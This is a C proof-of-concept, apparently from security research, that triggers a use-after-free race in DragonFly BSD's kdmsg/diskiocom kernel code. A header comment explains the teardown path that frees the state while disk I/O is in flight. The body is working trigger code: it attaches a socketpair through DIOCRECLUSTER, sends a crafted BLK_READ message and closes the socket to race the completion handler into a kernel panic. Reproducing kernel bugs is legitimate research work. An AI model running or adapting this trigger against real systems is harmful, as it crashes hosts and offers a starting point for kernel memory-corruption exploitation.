/*
 * DF-0117 PoC (race trigger, v2) -- attempt to reproduce the UAF on
 * kdmsg_state in diskiodone (sys/kern/subr_diskiocom.c:580/582/650).
 *
 * CORRECTED ANALYSIS (supersedes the prior "NOT REPRODUCED" verdict):
 * The prior verdict claimed the state's 2 topology refs (rbtree+subq)
 * keep it alive through diskiodone, because both refs are only dropped
 * inside kdmsg_state_cleanuptx() after a DELETE-bearing kernel reply is
 * produced, and that reply is produced by diskiodone itself.
 *
 * That analysis MISSED a second code path that produces a DELETE-bearing
 * reply WITHOUT diskiodone: the connection-drop teardown.
 *
 *   kdmsg_iocom_thread_wr teardown loop (kern_dmsg.c:547-557)
 *    -> kdmsg_simulate_failure(state0, 0, ...)
 *     -> kdmsg_state_abort(state)                 (kern_dmsg.c:1355)
 *      -> simulated DMSG_LNK_ERROR|DELETE msg     (kern_dmsg.c:1392-1404)
 *       -> kdmsg_msg_receive_handling(msg)
 *        -> kdmsg_state_msgrx: state->rxcmd |= DELETE  (kern_dmsg.c:1077)
 *        -> callback disk_rcvdmsg -> disk_blk_read      (subr_diskiocom.c:238)
 *           incoming cmd (LNK_ERROR|DELETE) != BLK_READ -> reterr=1
 *           done: msg has DELETE ->
 *             kdmsg_msg_reply(msg, error)          (subr_diskiocom.c:390)
 *               **CALLED UNCONDITIONALLY even if iost->count > 0** (I/O in flight)
 *          -> kdmsg_msg_write -> DYING branch -> cleanuptx -> state FREED
 *
 * So the state CAN be freed while async disk I/O is still in flight.
 * When the in-flight I/O completes, diskiodone dereferences the freed
 * state -> UAF.
 *
 * Strategy (this trigger):
 *   1. Establish the iocom (kill hammer2, DIOCRECLUSTER, socketpair).
 *   2. Send ONE BLK_READ|CREATE on msgid=1 with bytes=MAXPHYS (128 KB).
 *      This creates the state + dispatches ONE large async read on the
 *      root disk.  eof=0 (no DELETE), so diskiodone will NOT send a
 *      DELETE reply -- the only path that can free the state is the
 *      teardown's simulated DELETE.
 *   3. Close the socket IMMEDIATELY.  The reader processes the one
 *      message, dispatches the 128 KB I/O, then gets EOF.  The writer
 *      enters teardown and frees the state.
 *   4. The 128 KB read on the QCOW2-backed virtio disk takes long enough
 *      (1-10 ms) that the teardown frees the state BEFORE the I/O
 *      completes.  diskiodone then dereferences freed memory.
 *   5. During the teardown, kdmsg_msg_alloc / kdmsg_msg_free for the
 *      LNK_CONN/LNK_SPAN/SPAN teardown generates same-slab (M_DMSG_DISK)
 *      allocations that can reuse the freed state's ~152-byte slab slot,
 *      corrupting the state data that diskiodone reads -> page fault.
 *
 * Build (DragonFly, root):
 *   cc -O2 -o trigger_race trigger_race.c -lpthread
 *
 * Run:
 *   ./trigger_race [iosize] [nreads] [preclose_us] [iters]
 *     iosize      default 131072 (MAXPHYS = 128 KB)
 *     nreads      default 1  (additional mid-stream BLK_READ on same state)
 *     preclose_us default 0  (close socket immediately after writing)
 *     iters       default 1  (repeats; each needs a guest reset if it panics)
 *
 * Expected (bug present): kernel panic in diskiodone / kdmsg_msg_alloc /
 *   page fault on freed kdmsg_state_t memory (captured in boot.log).
 * Expected (state protected): trigger exits cleanly, guest stays up.
 *
 * WARNING: may panic a vulnerable kernel.  Run only on a disposable VM.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/diskslice.h>
#include <sys/dmsg.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <err.h>

#define DMSG_DISK	"/dev/vbd0"
#define MAXPHYS		(128 * 1024)

/* dmsg BLK_READ extended header = SIZE field 2 * DMSG_ALIGN(64) = 128 bytes */
#define BLK_READ_HDR_BYTES	128

struct blk_read_wire {
	dmsg_hdr_t		hdr;		/* 64 bytes */
	uint64_t		keyid;		/* +0x40 */
	uint64_t		offset;		/* +0x48 */
	uint32_t		bytes;		/* +0x50 */
	uint32_t		flags;		/* +0x54 */
	uint32_t		reserved01;	/* +0x58 */
	uint32_t		reserved02;	/* +0x5c */
	unsigned char		pad[32];	/* +0x60 .. +0x7f */
} __attribute__((packed));

static void
mk_blk_read(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit,
    uint64_t offset, uint32_t bytes)
{
	struct blk_read_wire *w = buf;
	memset(buf, 0, BLK_READ_HDR_BYTES);
	w->hdr.magic = DMSG_HDR_MAGIC;
	w->hdr.msgid = msgid;
	w->hdr.circuit = circuit;
	w->hdr.cmd = cmd;
	w->hdr.aux_bytes = 0;
	w->hdr.aux_crc = 0;
	w->hdr.hdr_crc = 0;
	w->keyid = 0;
	w->offset = offset;
	w->bytes = bytes;
}

static void *
drain(void *arg)
{
	int fd = *(int *)arg;
	char buf[65536];
	for (;;)
		if (read(fd, buf, sizeof(buf)) <= 0)
			break;
	return NULL;
}

int
main(int argc, char **argv)
{
	setvbuf(stderr, NULL, _IONBF, 0);
	int iosize	= (argc > 1) ? atoi(argv[1]) : MAXPHYS;
	int nreads	= (argc > 2) ? atoi(argv[2]) : 1;
	int preclose_us = (argc > 3) ? atoi(argv[3]) : 0;
	int iters	= (argc > 4) ? atoi(argv[4]) : 1;
	if (iosize < 512)	iosize = 512;
	if (iosize > MAXPHYS)	iosize = MAXPHYS;
	if (nreads < 0)		nreads = 0;

	for (int iter = 0; iter < iters; iter++) {
		fprintf(stderr, "\n[=== iter %d/%d iosize=%d nreads=%d preclose=%d ===]\n",
		    iter + 1, iters, iosize, nreads, preclose_us);

		int diskfd = open(DMSG_DISK, O_RDWR);
		if (diskfd < 0)
			err(1, "open %s", DMSG_DISK);

		int sv[2];
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
			err(1, "socketpair");
		int sv_kern = sv[0], sv_us = sv[1];

		/* bigger socket buffers so the kernel writer doesn't block
		 * on reply back-pressure before it can enter teardown */
		int sbsz = 1 << 20; /* 1 MB */
		setsockopt(sv_us, SOL_SOCKET, SO_RCVBUF, &sbsz, sizeof(sbsz));
		setsockopt(sv_us, SOL_SOCKET, SO_SNDBUF, &sbsz, sizeof(sbsz));

		pthread_t dt;
		pthread_create(&dt, NULL, drain, &sv_us);

		struct disk_ioc_recluster recl;
		memset(&recl, 0, sizeof(recl));
		recl.fd = sv_kern;
		if (ioctl(diskfd, DIOCRECLUSTER, &recl) < 0) {
			warn("DIOCRECLUSTER (iter %d)", iter);
			close(sv_us); close(sv_kern); close(diskfd);
			continue;
		}
		fprintf(stderr, "[1] DIOCRECLUSTER ok\n");

		char buf[BLK_READ_HDR_BYTES];
		uint32_t basecmd = DMSG_BLK_READ;	/* 0x00500302 */

		/* ONE CREATE -> creates state, dispatches I/O, eof=0 */
		mk_blk_read(buf, basecmd | DMSGF_CREATE, 1, 0, 0, iosize);
		if (write(sv_us, buf, BLK_READ_HDR_BYTES) != BLK_READ_HDR_BYTES)
			warn("write CREATE");
		fprintf(stderr, "[2] wrote BLK_READ|CREATE iosize=%d\n", iosize);

		/* additional mid-stream BLK_READ on same state (no CREATE) */
		for (int i = 0; i < nreads; i++) {
			mk_blk_read(buf, basecmd, 1, 0, 0, iosize);
			write(sv_us, buf, BLK_READ_HDR_BYTES);
		}
		if (nreads)
			fprintf(stderr, "[2a] wrote %d additional BLK_READ (mid-stream)\n", nreads);

		if (preclose_us > 0)
			usleep(preclose_us);

		fprintf(stderr, "[3] closing sv_us -> reader EOF -> teardown race\n");
		close(sv_us);
		sv_us = -1;

		fprintf(stderr, "[4] waiting 5s for teardown + diskiodone race...\n");
		sleep(5);

		pthread_join(dt, NULL);
		close(diskfd);
	}

	fprintf(stderr, "[done] all iters completed; no panic observed by userspace\n");
	return 0;
}